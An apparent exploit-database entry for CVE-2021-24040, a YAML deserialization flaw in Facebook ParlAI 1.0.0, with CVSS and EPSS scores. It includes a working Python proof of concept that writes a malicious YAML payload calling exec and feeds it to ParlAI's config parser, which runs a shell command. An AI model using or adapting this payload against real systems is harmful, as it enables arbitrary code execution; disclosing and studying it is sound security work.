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Facebook ParlAI 1.0.0 Deserialization of Untrusted Data in parlai

CVE Category Price Severity
CVE-2021-24040 CWE-502 $10,000 High
Author Risk Exploitation Type Date
Unknown High Remote 2021-09-13
CPE
cpe:cpe:/a:facebook:parlai:1.0.0
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H 0.95 0.95317

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021090077

Below is a copy:

Facebook ParlAI 1.0.0 Deserialization of Untrusted Data in parlai
# Exploit Title: Facebook ParlAI 1.0.0 -  Deserialization of Untrusted Data in parlai
# Date: 2021-09-11
# Exploit Author: Abhiram V
# Vendor Homepage: https://parl.ai/
# Software Link: https://github.com/facebookresearch/ParlAI
# Version: < 1.1.0
# Tested on: Linux
# CVE: CVE-2021-24040
# References : 
# https://github.com/facebookresearch/ParlAI/security/advisories/GHSA-m87f-9fvv-2mgg
# | https://anon-artist.github.io/blogs/blog3.html |

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Introduction
ParlAI (pronounced par-lay) is a free, open-source python framework for
sharing, training and evaluating AI models on a variety of openly available
dialogue datasets.

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Vulnerability details

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Description
ParlAI was vulnerable to YAML deserialization attack caused by unsafe
loading which leads to Arbitrary Code Execution.

Proof of Concept

Create the following PoC file (exploit.py)

import os
#os.system('pip3 install parlai')
from parlai.chat_service.utils import config
exploit = """!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('xcalc')"
"""
open('config.yml','w+').write(exploit)
config.parse_configuration_file('config.yml')

Execute the python script ie, python3 exploit.py

Impact
Code Execution

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